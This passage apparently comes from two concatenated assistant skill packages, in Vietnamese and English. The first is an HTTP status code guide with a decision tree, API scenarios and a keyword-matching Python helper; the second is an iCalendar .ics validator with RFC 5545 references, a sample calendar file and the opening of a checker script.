| 405 | Method Not Allowed | URL có tồn tại nhưng không hỗ trợ phương thức này. Gửi kèm `Allow`. |
| 406 | Not Acceptable | Không thể tạo ra bất kỳ định dạng nào được liệt kê trong `Accept`. |
| 409 | Conflict | Yêu cầu xung đột với trạng thái hiện tại: trùng khóa duy nhất (unique key), xung đột phiên bản, chuyển đổi trạng thái không hợp lệ. |
| 410 | Gone | Tài nguyên từng tồn tại và đã bị xóa vĩnh viễn. |
| 412 | Precondition Failed | Điều kiện tiên quyết `If-Match` / `If-Unmodified-Since` thất bại (khóa lạc quan - optimistic locking). |
| 413 | Content Too Large | Phần thân vượt quá giới hạn kích thước. |
| 415 | Unsupported Media Type | `Content-Type` không được hỗ trợ. |
| 422 | Unprocessable Content | Cú pháp hoàn toàn ổn nhưng giá trị không vượt qua được bước kiểm tra hợp lệ (email sai, ngày kết thúc trước ngày bắt đầu). |
| 428 | Precondition Required | Máy chủ yêu cầu một truy vấn có điều kiện để ngăn chặn việc ghi đè làm mất dữ liệu cập nhật. |
| 429 | Too Many Requests | Vượt quá giới hạn tần suất gọi. Gửi kèm `Retry-After`. |
## 5xx Lỗi phía máy chủ (Server errors)
| Mã | Tên | Sử dụng khi |
|---|---|---|
| 500 | Internal Server Error | Sự cố bất ngờ trong mã nguồn của bạn. |
| 501 | Not Implemented | Máy chủ hoàn toàn không hỗ trợ chức năng này. |
| 502 | Bad Gateway | Một dịch vụ thượng nguồn trả về phản hồi không hợp lệ. |
| 503 | Service Unavailable | Tạm thời quá tải hoặc đang bảo trì. Gửi kèm `Retry-After` nếu biết thời gian. |
| 504 | Gateway Timeout | Một dịch vụ thượng nguồn không phản hồi kịp thời gian quy định. |
FILE:templates/decision-tree.md
# Cây quyết định Mã trạng thái
Trả lời theo thứ tự. Dừng lại ở kết quả khớp đầu tiên.
1. **Yêu cầu có thành công không?**
- Có, công việc đã hoàn tất và một tài nguyên mới được tạo ra -> **201** (+ `Location`)
- Có, công việc đã được chấp nhận nhưng sẽ hoàn tất sau -> **202** (+ URL trạng thái)
- Có, không có gì để trả về -> **204**
- Có, có trả về dữ liệu -> **200**
- Không -> chuyển sang câu 2
2. **Máy khách có đang được chuyển hướng không?**
- GET có điều kiện, dữ liệu không đổi -> **304**
- Đã di chuyển, phải giữ nguyên phương thức -> **307** (tạm thời) / **308** (vĩnh viễn)
- Không -> chuyển sang câu 3
3. **Đó có phải là vấn đề xác thực danh tính (authentication) không?**
- Không có thông tin xác thực, hoặc token không hợp lệ / đã hết hạn -> **401** (+ `WWW-Authenticate`)
- Không -> chuyển sang câu 4
4. **Người gọi đã xác thực có bị từ chối quyền thực hiện không?**
- Có, và có thể tiết lộ sự tồn tại của tài nguyên -> **403**
- Có, nhưng phải che giấu sự tồn tại của tài nguyên -> **404**
- Không -> chuyển sang câu 5
5. **Đích đến có bị thiếu hoặc phương thức có bị sai không?**
- Tài nguyên không tồn tại -> **404**
- Tài nguyên đã bị xóa vĩnh viễn -> **410**
- URL tồn tại, nhưng phương thức không được hỗ trợ -> **405** (+ `Allow`)
- Không -> chuyển sang câu 6
6. **Bản thân yêu cầu có ở trạng thái không thể sử dụng được không?**
- Không thể phân tích cú pháp (JSON lỗi, sai kiểu dữ liệu) -> **400**
- Sai `Content-Type` -> **415**
- Phần thân quá lớn -> **413**
- Không thể đáp ứng `Accept` -> **406**
- Không -> chuyển sang câu 7
7. **Đầu vào hợp lệ về cú pháp nhưng bị từ chối?**
- Không vượt qua kiểm tra quy tắc nghiệp vụ -> **422**
- Xung đột với trạng thái hiện tại (trùng lặp, sai phiên bản, máy trạng thái) -> **409**
- Điều kiện tiên quyết `If-Match` thất bại -> **412**
- Quá nhiều yêu cầu -> **429** (+ `Retry-After`)
- Không -> chuyển sang câu 8
8. **Sự cố phía máy chủ**
- Dịch vụ thượng nguồn trả về dữ liệu rác/lỗi -> **502**
- Dịch vụ thượng nguồn bị hết thời gian chờ (timed out) -> **504**
- Tạm thời không khả dụng / đang bảo trì -> **503** (+ `Retry-After`)
- Tính năng hoàn toàn không được hỗ trợ -> **501**
- Lỗi phần mềm (bug) bất ngờ -> **500**
## Mẫu câu trả lời
```
Recommended: <code> <reason phrase>
Why: <1-2 sentences>
Alternatives: <code> - <why not>; <code> - <why not>
Headers: <header: value>
Body (Problem Details):
{
"type": "https://example.com/problems/<slug>",
"title": "<short title>",
"status": <code>,
"detail": "<specific explanation>",
"instance": "<request path or id>"
}
```
FILE:examples/api-scenarios.md
# Các tình huống API thực tế
## 1. Đăng ký bằng một email đã tồn tại
`POST /users` với `{"email": "ana@example.com"}` và email đó đã có người dùng.
- **Đề xuất:** 409 Conflict
- **Tại sao:** Đầu vào đúng định dạng và hợp lệ, nhưng nó xung đột với trạng thái hiện có (một khóa duy nhất).
- **Phương án thay thế:** 422 (dùng được nếu nhóm của bạn sử dụng 422 cho mọi lỗi vi phạm quy tắc, nhưng 409 cho máy khách biết vấn đề cụ thể nằm ở trạng thái dữ liệu); 400 (quá mơ hồ).
- **Phần thân (Body):**
```json
{"type": "https://example.com/problems/email-taken", "title": "Email already registered", "status": 409, "detail": "An account with this email already exists.", "instance": "/users"}
```
## 2. Đã tạo đơn hàng
`POST /orders` thành công và trả về đơn hàng đó.
- **Đề xuất:** 201 Created, `Location: /orders/8812`
- **Phương án thay thế:** 200 (làm mất tín hiệu "đã tạo mới"), 202 (chỉ dùng nếu quá trình xử lý là bất đồng bộ và đơn hàng chưa được lưu bền vững).
## 3. Xuất báo cáo được đưa vào hàng đợi
`POST /reports/exports` bắt đầu một tác vụ kéo dài 5 phút.
- **Đề xuất:** 202 Accepted kèm theo `{"jobId": "exp_41", "statusUrl": "/reports/exports/exp_41"}`
## 4. Người xem (Viewer) cố gắng xóa một dự án
Người dùng đã đăng nhập với vai trò chỉ đọc gọi `DELETE /projects/7`.
- **Đề xuất:** 403 Forbidden
- **Tại sao:** Danh tính đã được xác định; thứ bị thiếu là quyền hạn. Mã 401 sẽ gợi ý sai rằng họ nên đăng nhập lại.
## 5. Access token đã hết hạn
`GET /me` với một JWT đã hết hạn.
- **Đề xuất:** 401 Unauthorized, `WWW-Authenticate: Bearer error="invalid_token"`
## 6. Tìm kiếm không có kết quả khớp
`GET /products?q=zzzz`
- **Đề xuất:** 200 OK kèm theo `{"items": [], "total": 0}`
- **Tại sao:** Tập hợp tài nguyên có tồn tại; nó chỉ đang trống mà thôi. Mã 404 sẽ làm lỗi các máy khách vốn coi 404 là một lỗi thực sự.
## 7. Ngày bắt đầu sau ngày kết thúc
`POST /bookings` với `start=2026-10-20`, `end=2026-10-18`.
- **Đề xuất:** 422 Unprocessable Content
- **Phương án thay thế:** 400 (chấp nhận được nếu quy ước của bạn gộp chung lỗi phân tích cú pháp và lỗi kiểm tra tính hợp lệ).
## 8. Nhà cung cấp thanh toán hết thời gian chờ
`POST /checkout` và cổng thanh toán không trả lời trong vòng 10 giây.
- **Đề xuất:** 504 Gateway Timeout
- **Phương án thay thế:** 502 (nếu cổng thanh toán có trả lời nhưng bằng một phản hồi không hợp lệ), 503 (nếu bạn đang chủ động giảm tải).
## 9. Quá nhiều lần thử đăng nhập
- **Đề xuất:** 429 Too Many Requests, `Retry-After: 60`
## 10. Cập nhật dữ liệu cũ (Stale update)
`PUT /docs/3` với `If-Match: "v4"` nhưng phiên bản hiện tại là `"v5"`.
- **Đề xuất:** 412 Precondition Failed
FILE:scripts/suggest_status.py
#!/usr/bin/env python3
"""Suggest an HTTP status code from a short scenario description.
Usage:
python3 suggest_status.py [--method METHOD] [--json] "scenario text"
python3 suggest_status.py --self-test
Keyword-based and deliberately simple: it gives a first guess plus
alternatives. Always confirm against references/status-cheatsheet.md.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
# Ordered rules: first match wins. Each rule: (keywords, code, reason, alternatives, headers)
RULES = [
(["rate limit", "too many", "throttl", "quota exceeded"], 429,
"Client exceeded a rate limit or quota.", [503], ["Retry-After"]),
(["not logged in", "no token", "missing token", "expired token", "invalid token",
"unauthenticated", "no credentials", "bad credentials", "login required"], 401,
"Credentials are missing or invalid.", [403], ["WWW-Authenticate"]),
(["no permission", "not allowed", "forbidden", "insufficient role", "not authorized",
"read-only user", "not the owner"], 403,
"Caller is authenticated but lacks permission.", [404], []),
(["already exists", "duplicate", "conflict", "version mismatch", "already taken",
"invalid state", "state transition"], 409,
"Request conflicts with the current state of the resource.", [422, 412], []),
(["precondition", "if-match", "etag mismatch", "stale"], 412,
"A conditional request header did not match.", [409], ["ETag"]),
(["too large", "payload size", "file too big", "body too big"], 413,
"Request body exceeds the allowed size.", [400], []),
(["unsupported media", "content-type", "wrong content type"], 415,
"Content-Type is not supported.", [400], ["Accept"]),
(["malformed", "invalid json", "parse error", "cannot parse", "syntax error",
"missing required"], 400,
"Request cannot be parsed or is missing required parts.", [422], []),
(["validation", "invalid email", "out of range", "must be", "before start",
"invalid value", "fails rule"], 422,
"Request is well-formed but values fail validation.", [400], []),
(["method not allowed", "wrong method", "unsupported method"], 405,
"The URL exists but does not support this method.", [404], ["Allow"]),
(["gone", "permanently deleted", "removed permanently"], 410,
"Resource existed and was permanently removed.", [404], []),
(["not found", "does not exist", "no such", "unknown id"], 404,
"Target resource does not exist.", [410], []),
(["upstream timeout", "gateway timeout", "timed out", "timeout"], 504,
"An upstream dependency did not respond in time.", [502, 503], []),
(["bad gateway", "upstream error", "invalid upstream", "upstream returned"], 502,
"An upstream dependency returned an invalid response.", [504], []),
(["maintenance", "overloaded", "unavailable", "down for"], 503,
"Service is temporarily unavailable.", [500], ["Retry-After"]),
(["not implemented", "unsupported feature"], 501,
"The server does not support this functionality.", [405], []),
(["crash", "exception", "bug", "unexpected error", "internal error"], 500,
"Unexpected server-side failure.", [503], []),
(["queued", "async", "background job", "accepted for processing", "will process"], 202,
"Work was accepted and will complete later.", [201], ["Location"]),
(["created", "new resource", "signed up", "registered"], 201,
"A new resource was created.", [200, 202], ["Location"]),
(["deleted", "no content", "nothing to return"], 204,
"Success with no response body.", [200], []),
(["not modified", "unchanged", "cache hit"], 304,
"Conditional request and resource is unchanged.", [200], ["ETag"]),
(["empty list", "no results", "no matches", "empty collection"], 200,
"Collection exists but is empty: return 200 with an empty list.", [404], []),
(["success", "ok", "returned", "fetched", "updated"], 200,
"Request succeeded and returns content.", [204], []),
]
REASONS = {
200: "OK", 201: "Created", 202: "Accepted", 204: "No Content", 304: "Not Modified",
400: "Bad Request", 401: "Unauthorized", 403: "Forbidden", 404: "Not Found",
405: "Method Not Allowed", 409: "Conflict", 410: "Gone", 412: "Precondition Failed",
413: "Content Too Large", 415: "Unsupported Media Type", 422: "Unprocessable Content",
429: "Too Many Requests", 500: "Internal Server Error", 501: "Not Implemented",
502: "Bad Gateway", 503: "Service Unavailable", 504: "Gateway Timeout",
}
def suggest(text, method=None):
t = " " + re.sub(r"\s+", " ", text.lower()) + " "
for keywords, code, reason, alts, headers in RULES:
for kw in keywords:
# word-boundary match for very short keywords like "ok"
if len(kw) <= 3:
if re.search(r"\b" + re.escape(kw) + r"\b", t):
break
elif kw in t:
break
else:
continue
m = (method or "").upper()
notes = []
if code == 200 and m == "DELETE":
code, reason, alts = 204, "DELETE succeeded; usually no body.", [200]
if code == 201 and m and m not in ("POST", "PUT"):
notes.append("201 is normally returned by POST or PUT.")
if code == 204 and m == "GET":
notes.append("GET rarely returns 204; prefer 200 with a body.")
return {
"code": code,
"reason_phrase": REASONS.get(code, ""),
"why": reason,
"alternatives": [f"{a} {REASONS.get(a, '')}".strip() for a in alts],
"headers": headers,
"matched_keyword": kw,
"notes": notes,
}
return {
"code": None,
"reason_phrase": "",
"why": "No rule matched. Walk templates/decision-tree.md manually.",
"alternatives": [],
"headers": [],
"matched_keyword": None,
"notes": [],
}
def self_test():
cases = [
("created new order", "POST", 201),
("user not logged in", "GET", 401),
("read-only user tries to delete", "DELETE", 403),
("email already exists", "POST", 409),
("search returned no results", "GET", 200),
("end date before start date validation", "POST", 422),
("invalid json body", "POST", 400),
("payment gateway timed out", "POST", 504),
("too many login attempts", "POST", 429),
("order id does not exist", "GET", 404),
("report export queued as background job", "POST", 202),
("record deleted", "DELETE", 204),
("unexpected exception in handler", "GET", 500),
("something odd happened", "GET", None),
]
failed = 0
for text, method, expected in cases:
got = suggest(text, method)["code"]
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {method:6} {text!r} -> {got} (expected {expected})")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Suggest an HTTP status code for an API scenario.")
p.add_argument("scenario", nargs="*", help="Short description of what happened")
p.add_argument("--method", help="HTTP method, e.g. POST")
p.add_argument("--json", action="store_true", help="Print JSON output")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.scenario:
p.error("scenario text is required (or use --self-test)")
r = suggest(" ".join(a.scenario), a.method)
if a.json:
print(json.dumps(r, indent=2))
return 0
if r["code"] is None:
print(r["why"])
return 2
print(f"Recommended: {r['code']} {r['reason_phrase']}")
print(f"Why: {r['why']}")
if r["alternatives"]:
print("Alternatives: " + ", ".join(r["alternatives"]))
if r["headers"]:
print("Headers: " + ", ".join(r["headers"]))
for n in r["notes"]:
print("Note: " + n)
return 0
if __name__ == "__main__":
sys.exit(main())Xác thực các tệp iCalendar .ics theo các nguyên tắc cơ bản của RFC 5545: cấu trúc lồng nhau BEGIN/END, các thuộc tính VCALENDAR và VEVENT bắt buộc (VERSION, PRODID, UID, DTSTAMP, DTSTART), định dạng ngày và giờ, DTEND so với DURATION, tham chiếu TZID, cú pháp RRULE và ngắt dòng (line folding). Sử dụng khi lời mời lịch không thể nhập (import), sự kiện hiển thị sai thời gian hoặc các sự kiện lặp lại hoạt động không đúng. Bao gồm một trình kiểm tra sử dụng thư viện chuẩn Python.
---
name: calendar-ics-validator
description: Xác thực các tệp iCalendar .ics theo các nguyên tắc cơ bản của RFC 5545: cấu trúc lồng nhau BEGIN/END, các thuộc tính VCALENDAR và VEVENT bắt buộc (VERSION, PRODID, UID, DTSTAMP, DTSTART), định dạng ngày và giờ, DTEND so với DURATION, tham chiếu TZID, cú pháp RRULE và ngắt dòng (line folding). Sử dụng khi lời mời lịch không thể nhập (import), sự kiện hiển thị sai thời gian hoặc các sự kiện lặp lại hoạt động không đúng. Bao gồm một trình kiểm tra sử dụng thư viện chuẩn Python.
---
# Trình xác thực tệp lịch ICS
Bạn giúp mọi người tìm và sửa các sự cố trong tệp iCalendar (`.ics`) được xuất từ ứng dụng, được tạo bởi mã nguồn hoặc được đính kèm trong các lời mời. Bạn kiểm tra cấu trúc, các thuộc tính bắt buộc, giá trị ngày-giờ, múi giờ và quy tắc lặp lại, sau đó giải thích từng vấn đề bằng ngôn ngữ dễ hiểu cùng với cách khắc phục chính xác. Bạn tuân thủ RFC 5545 và lưu ý những điểm mà các ứng dụng khách phổ biến (Google Calendar, Outlook, Apple Calendar) khắt khe hơn hoặc lỏng lẻo hơn.
## Các tệp trong kỹ năng này
- `scripts/check_ics.py` - phân tích cú pháp tệp `.ics` (có nối lại các dòng bị ngắt - line unfolding) và báo cáo lỗi cùng cảnh báo kèm theo số dòng (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/ics-fields.md` - các thành phần, các thuộc tính bắt buộc và phổ biến, cùng định dạng giá trị
- `references/recurrence-rules.md` - các phần của RRULE, giá trị hợp lệ, EXDATE/RDATE và các lỗi lặp lại phổ biến
- `templates/fix-checklist.md` - danh sách kiểm tra và cấu trúc báo cáo cần trả về
- `examples/sample.ics` - một tệp lịch nhỏ hợp lệ có múi giờ, một sự kiện diễn ra một lần và một sự kiện lặp lại hàng tuần
## Quy trình làm việc
### 1. Lấy tệp
Yêu cầu nội dung hoặc đường dẫn tệp `.ics`, ứng dụng đã tạo ra nó, ứng dụng bị lỗi khi nhập nó và triệu chứng gặp phải (lỗi nhập, sai thời gian, thiếu lần xuất hiện, bị trùng lặp).
### 2. Chạy trình kiểm tra
```
python3 scripts/check_ics.py path/to/calendar.ics
python3 scripts/check_ics.py --json path/to/calendar.ics
python3 scripts/check_ics.py --self-test
```
Mã thoát (Exit code) 0 có nghĩa là không có lỗi (các cảnh báo vẫn có thể còn), 1 có nghĩa là đã tìm thấy lỗi.
### 3. Diễn giải kết quả
- **Lỗi (Errors)** làm hỏng quá trình nhập hoặc vi phạm RFC 5545 (thiếu UID, DTEND trước DTSTART, cặp BEGIN/END không cân xứng, RRULE không hợp lệ).
- **Cảnh báo (Warnings)** thường gây ra hành vi sai lệch ở một số ứng dụng khách (thời gian trôi nổi - floating times, TZID không có VTIMEZONE, dòng dài quá 75 octet, kết thúc dòng chỉ dùng LF).
Sử dụng `references/ics-fields.md` và `references/recurrence-rules.md` để giải thích từng phát hiện.
### 4. Chẩn đoán triệu chứng
- Sai thời gian: kiểm tra thời gian trôi nổi (không có `Z`, không có `TZID`), tên TZID không khớp, hoặc ký tự `Z` (UTC) bị thêm vào giờ địa phương.
- Thiếu hoặc thừa lần xuất hiện: kiểm tra kiểu của `UNTIL` trong `RRULE` so với `DTSTART`, `COUNT`, `BYDAY`, và định dạng `EXDATE` có khớp với `DTSTART` hay không.
- Trùng lặp khi nhập lại: kiểm tra xem `UID` có cố định không và `SEQUENCE` có tăng lên khi cập nhật hay không.
### 5. Báo cáo
Điền vào `templates/fix-checklist.md`: tóm tắt, bảng các phát hiện (mức độ nghiêm trọng, dòng, thuộc tính, vấn đề, cách khắc phục), đoạn mã đã sửa và các bước kiểm tra lại.
## Quy tắc
- Trích dẫn chính xác dòng bị lỗi và đưa ra dòng đã được sửa.
- Không âm thầm thay đổi thời gian sự kiện; nếu phải thay đổi múi giờ, hãy nói rõ và hỏi ý kiến.
- Giữ nguyên các giá trị `UID` khi sửa lỗi, trừ khi chúng bị thiếu hoặc bị trùng lặp.
- Không bao giờ đưa email riêng tư của người tham dự vào các ví dụ bạn viết trả lại; hãy thay thế chúng bằng các giá trị giữ chỗ (placeholders).
FILE:references/ics-fields.md
# Tài liệu tham khảo các trường iCalendar (Những điểm cốt lõi của RFC 5545)
## Cấu trúc
```
BEGIN:VCALENDAR
VERSION:2.0 (bắt buộc)
PRODID:-//Org//App//EN (bắt buộc)
CALSCALE:GREGORIAN (tùy chọn, mặc định)
METHOD:PUBLISH (tùy chọn; REQUEST/REPLY/CANCEL cho lời mời)
BEGIN:VTIMEZONE ... END:VTIMEZONE (mỗi TZID được sử dụng cần một khối)
BEGIN:VEVENT ... END:VEVENT
BEGIN:VTODO ... END:VTODO
END:VCALENDAR
```
Mỗi `BEGIN:X` cần một `END:X` tương ứng theo đúng thứ tự. `VALARM` nằm bên trong `VEVENT` hoặc `VTODO`.
## Các thuộc tính VEVENT
| Thuộc tính | Bắt buộc | Ghi chú |
|---|---|---|
| UID | có | Duy nhất trên toàn cục và cố định qua các lần cập nhật (ví dụ: `uuid@yourdomain`). |
| DTSTAMP | có | Thời điểm đối tượng này được tạo/gửi, tính theo UTC: `20261015T070000Z`. |
| DTSTART | có* | Bắt buộc trừ khi METHOD được đặt và ứng dụng khách cho phép bỏ qua; hãy luôn bao gồm thuộc tính này. |
| DTEND | không | Phải muộn hơn DTSTART. Thời điểm kết thúc không bao gồm (exclusive end). |
| DURATION | không | ví dụ: `PT1H30M`, `P1D`. Không được phép dùng cùng với DTEND. |
| SUMMARY | không | Tiêu đề hiển thị trong lịch. |
| DESCRIPTION, LOCATION | không | Thoát (escape) các ký tự `,` `;` `\` và ký tự xuống dòng thành `\,` `\;` `\\` `\n`. |
| RRULE | không | Quy tắc lặp lại; xem recurrence-rules.md. |
| EXDATE / RDATE | không | Các ngày bị loại trừ / ngày bổ sung; cùng kiểu giá trị và TZID với DTSTART. |
| SEQUENCE | không | Số nguyên; tăng lên sau mỗi lần cập nhật quan trọng. |
| STATUS | không | TENTATIVE, CONFIRMED, CANCELLED. |
| ORGANIZER / ATTENDEE | không | Các URI `mailto:` kèm theo các tham số như `CN=` và `PARTSTAT=`. |
## Các giá trị ngày và giờ
| Dạng | Ví dụ | Ý nghĩa |
|---|---|---|
| DATE | `DTSTART;VALUE=DATE:20261020` | Cả ngày; DTEND là ngày tiếp theo (không bao gồm). |
| UTC DATE-TIME | `DTSTART:20261020T090000Z` | Thời gian tuyệt đối theo múi giờ UTC. |
| Giờ địa phương có TZID | `DTSTART;TZID=Europe/Istanbul:20261020T120000` | Giờ địa phương (wall time) tại múi giờ đó; cần một VTIMEZONE khớp tương ứng đối với các ứng dụng khách khắt khe. |
| Trôi nổi (Floating) | `DTSTART:20261020T120000` | Không có múi giờ; hiển thị cùng một giờ đồng hồ ở mọi nơi. Thường là lỗi nếu dùng cho các cuộc họp. |
Định dạng: `YYYYMMDD` hoặc `YYYYMMDDTHHMMSS` với ký tự `Z` tùy chọn. Giờ từ 00-23, phút và giây từ 00-59 (cho phép 60 đối với giây nhuận).
## Quy tắc dòng
- Các dòng kết thúc bằng CRLF (`\r\n`).
- Các dòng dài hơn 75 octet phải được ngắt dòng (folded): chèn CRLF theo sau bởi một dấu cách hoặc tab; trình phân tích cú pháp sẽ xóa CRLF+khoảng trắng khi nối lại dòng (unfolding).
- Tên thuộc tính và tên tham số không phân biệt chữ hoa chữ thường; các giá trị có thể phân biệt chữ hoa chữ thường.
## Định dạng DURATION
`[+/-]P[n]W` hoặc `[+/-]P[n]DT[n]H[n]M[n]S`, ví dụ: `P1W`, `PT45M`, `P1DT12H`.
FILE:references/recurrence-rules.md
# Tài liệu tham khảo Quy tắc lặp lại (RRULE)
Cú pháp: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=MO,WE;UNTIL=20261231T235959Z`
## Các thành phần
| Thành phần | Giá trị | Ghi chú |
|---|---|---|
| FREQ | SECONDLY, MINUTELY, HOURLY, DAILY, WEEKLY, MONTHLY, YEARLY | Bắt buộc, xuất hiện đúng một lần. |
| INTERVAL | số nguyên dương | Mặc định là 1. |
| COUNT | số nguyên dương | Số lần xuất hiện, tính cả lần đầu tiên. |
| UNTIL | DATE hoặc DATE-TIME | Thời điểm kết thúc có bao gồm (inclusive end). Không được sử dụng cùng với COUNT. |
| BYDAY | MO TU WE TH FR SA SU, số thứ tự tùy chọn (`1MO`, `-1FR`) | Số thứ tự chỉ có ý nghĩa khi đi cùng MONTHLY hoặc YEARLY. |
| BYMONTHDAY | 1..31 hoặc -31..-1 | `-1` = ngày cuối cùng của tháng. |
| BYMONTH | 1..12 | |
| BYYEARDAY | 1..366 hoặc số âm | |
| BYWEEKNO | 1..53 hoặc số âm | Chỉ dùng cho YEARLY. |
| BYHOUR / BYMINUTE / BYSECOND | 0..23 / 0..59 / 0..60 | |
| BYSETPOS | 1..366 hoặc số âm | ví dụ: ngày làm việc cuối cùng của tháng: `BYDAY=MO,TU,WE,TH,FR;BYSETPOS=-1`. |
| WKST | MO..SU | Ngày bắt đầu tuần, mặc định là MO. |
## Quy tắc kiểu của UNTIL
- Nếu DTSTART là kiểu DATE, UNTIL phải là kiểu DATE.
- Nếu DTSTART có TZID hoặc là UTC, UNTIL phải là UTC (`...Z`).
- Nếu DTSTART là thời gian trôi nổi (floating), UNTIL cũng phải là thời gian trôi nổi.
## EXDATE và RDATE
- Phải sử dụng cùng kiểu giá trị và TZID với DTSTART, nếu không các ứng dụng khách sẽ bỏ qua chúng.
- Ví dụ: `EXDATE;TZID=Europe/Istanbul:20261103T100000`
## Các lỗi phổ biến
1. Có mặt cả COUNT và UNTIL (không hợp lệ).
2. UNTIL ở dạng giờ địa phương khi DTSTART có TZID (lẽ ra phải là UTC).
3. Số thứ tự BYDAY đi kèm với WEEKLY (`FREQ=WEEKLY;BYDAY=1MO`) - vô nghĩa.
4. DTSTART không khớp với mẫu lặp (DTSTART vào Thứ Ba nhưng `BYDAY=MO`): RFC quy định DTSTART vẫn được tính là lần xuất hiện đầu tiên, điều này gây bất ngờ cho người dùng.
5. EXDATE ở dạng UTC trong khi DTSTART sử dụng TZID: các ngày ngoại lệ không khớp nhau.
6. Các khóa viết thường hoặc viết sai chính tả (`freq=weekly`, `BYDAYS`). Các giá trị phải được viết hoa.
7. Giờ tiết kiệm ánh sáng ban ngày (Daylight saving): một cuộc họp lặp lại lúc 09:00 phải sử dụng TZID, không phải UTC, nếu không nó sẽ bị lệch một giờ hai lần một năm.
## Ví dụ
- Mọi ngày làm việc trong tuần lúc 09:00: `RRULE:FREQ=WEEKLY;BYDAY=MO,TU,WE,TH,FR`
- Thứ Hai đầu tiên hàng tháng, 6 lần: `RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=6`
- Ngày cuối cùng của mỗi tháng: `RRULE:FREQ=MONTHLY;BYMONTHDAY=-1`
- Thứ Sáu cách tuần cho đến cuối năm: `RRULE:FREQ=WEEKLY;INTERVAL=2;BYDAY=FR;UNTIL=20261231T210000Z`
FILE:templates/fix-checklist.md
# Danh sách kiểm tra và Báo cáo sửa lỗi ICS
## Tóm tắt
- Tệp: `<name.ics>`
- Được tạo bởi: `<app or script>` | Bị lỗi trên: `<client>`
- Triệu chứng: `<import error / wrong time / missing occurrences / duplicates>`
- Kết quả: `<N errors, M warnings>`
## Danh sách kiểm tra
- [ ] Tệp bắt đầu bằng `BEGIN:VCALENDAR` và kết thúc bằng `END:VCALENDAR`
- [ ] Tất cả các cặp BEGIN/END đều cân xứng và được lồng nhau chính xác
- [ ] `VERSION:2.0` và `PRODID` xuất hiện một lần trong VCALENDAR
- [ ] Mỗi VEVENT có `UID`, `DTSTAMP`, `DTSTART`
- [ ] Các UID là duy nhất trong tệp và cố định qua các lần cập nhật
- [ ] DTEND muộn hơn DTSTART, và không bị kết hợp chung với DURATION
- [ ] Các giá trị ngày-giờ hợp lệ (`YYYYMMDD` / `YYYYMMDDTHHMMSS[Z]`)
- [ ] Các sự kiện cả ngày sử dụng `VALUE=DATE` trên cả DTSTART và DTEND
- [ ] Mọi TZID được sử dụng đều có VTIMEZONE (hoặc tên IANA mà ứng dụng khách mục tiêu chấp nhận)
- [ ] Không có thời gian trôi nổi (floating times) ngoài ý muốn
- [ ] RRULE có FREQ; không dùng chung COUNT với UNTIL; kiểu của UNTIL khớp với DTSTART
- [ ] EXDATE/RDATE khớp kiểu giá trị và TZID với DTSTART
- [ ] Các giá trị văn bản đã thoát (escape) các ký tự `,` `;` `\` và ký tự xuống dòng
- [ ] Kết thúc dòng bằng CRLF; các dòng dài trên 75 octet đã được ngắt dòng (folded)
- [ ] SEQUENCE tăng lên khi một sự kiện hiện có được cập nhật
## Các phát hiện
| # | Mức độ nghiêm trọng | Dòng | Thuộc tính | Vấn đề | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | error | | | | |
## Đoạn mã đã sửa
```
<fixed lines>
```
## Kiểm tra lại
1. Chạy `python3 scripts/check_ics.py <file>` và xác nhận có 0 lỗi.
2. Nhập vào một lịch thử nghiệm trong ứng dụng khách đang gặp lỗi.
3. Kiểm tra thời gian của lần xuất hiện đầu tiên, một lần xuất hiện ở giữa và lần xuất hiện cuối cùng.
FILE:examples/sample.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Example Co//Team Calendar 1.0//EN
CALSCALE:GREGORIAN
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:Europe/Istanbul
BEGIN:STANDARD
DTSTART:19700101T000000
TZOFFSETFROM:+0300
TZOFFSETTO:+0300
TZNAME:+03
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
UID:kickoff-20261020@example.com
DTSTAMP:20261015T070000Z
DTSTART;TZID=Europe/Istanbul:20261020T100000
DTEND;TZID=Europe/Istanbul:20261020T113000
SUMMARY:Project kickoff
LOCATION:Room 4\, Second Floor
DESCRIPTION:Agenda: goals\, roles\, and first milestones.\nBring lapt
ops.
STATUS:CONFIRMED
SEQUENCE:0
END:VEVENT
BEGIN:VEVENT
UID:weekly-sync-2026@example.com
DTSTAMP:20261015T070000Z
DTSTART;TZID=Europe/Istanbul:20261022T093000
DURATION:PT30M
RRULE:FREQ=WEEKLY;BYDAY=TH;UNTIL=20261231T063000Z
EXDATE;TZID=Europe/Istanbul:20261126T093000
SUMMARY:Weekly team sync
BEGIN:VALARM
ACTION:DISPLAY
DESCRIPTION:Weekly team sync in 10 minutes
TRIGGER:-PT10M
END:VALARM
END:VEVENT
BEGIN:VEVENT
UID:offsite-2026@example.com
DTSTAMP:20261015T070000Z
DTSTART;VALUE=DATE:20261106
DTEND;VALUE=DATE:20261108
SUMMARY:Team offsite (all day)
END:VEVENT
END:VCALENDAR
FILE:scripts/check_ics.py
#!/usr/bin/env python3
"""Validate an iCalendar (.ics) file against RFC 5545 basics.
Usage:
python3 check_ics.py FILE.ics [--json]
python3 check_ics.py --self-test
Exit codes: 0 = no errors, 1 = errors found, 2 = usage / read error.
Python 3 standard library only.
"""
import argparse
import datetime as dt
import json
import re
import sys
DATE_RE = re.compile(r"^\d{8}$")
DATETIME_RE = re.compile(r"^\d{8}T\d{6}Z?$")
DURATION_RE = re.compile(r"^[+-]?P(\d+W|(\d+D)?(T(\d+H)?(\d+M)?(\d+S)?)?)$")
FREQS = {"SECONDLY", "MINUTELY", "HOURLY", "DAILY", "WEEKLY", "MONTHLY", "YEARLY"}
DAYS = {"MO", "TU", "WE", "TH", "FR", "SA", "SU"}
RRULE_KEYS = {"FREQ", "UNTIL", "COUNT", "INTERVAL", "BYSECOND", "BYMINUTE", "BYHOUR",
"BYDAY", "BYMONTHDAY", "BYYEARDAY", "BYWEEKNO", "BYMONTH", "BYSETPOS", "WKST"}
EVENT_LIKE = {"VEVENT", "VTODO", "VJOURNAL"}
class Report:
def __init__(self):
self.items = []
